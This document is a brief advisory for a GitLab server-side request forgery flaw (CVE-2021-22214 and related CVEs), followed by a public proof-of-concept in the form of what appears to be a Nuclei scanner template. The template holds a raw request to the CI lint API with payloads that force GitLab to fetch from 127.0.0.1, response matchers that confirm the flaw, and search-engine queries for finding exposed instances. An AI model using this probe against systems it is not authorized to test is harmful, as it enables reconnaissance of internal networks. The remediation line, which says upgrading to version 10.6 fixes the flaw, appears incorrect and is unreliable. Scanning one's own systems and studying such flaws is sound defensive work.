GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
PoC代码[已公开]
id: CVE-2021-22214
info:
name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
author: Suman_Kar,GitLab Red Team
severity: high
description: |
GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system.
remediation: |
Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
- https://docs.gitlab.com/ee/api/lint.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-22214
cwe-id: CWE-918
epss-score: 0.9352
epss-percentile: 0.99816
cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gitlab
product: gitlab
shodan-query:
- http.title:"GitLab"
- cpe:"cpe:2.3:a:gitlab:gitlab"
- http.title:"gitlab"
fofa-query: title="gitlab"
google-query: intitle:"gitlab"
tags: cve2021,cve,gitlab,ssrf,vkev,vuln
http:
- raw:
- |
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{{body}}
payloads:
body:
- '{"content":"include:\n remote: http://127.0.0.1/test.yml"}'
- '{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'does not have valid YAML syntax!'
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a0046304402201eef67f0504053b8bdbb6052399fe07bbce2afa29820ef833cc5c1b0445c57c502205ebafc4417b345ef444b5ba97e9ddd17927e62bbb74a48f913601f5e93c63540:922c64590222798bb761d5b6d8e72950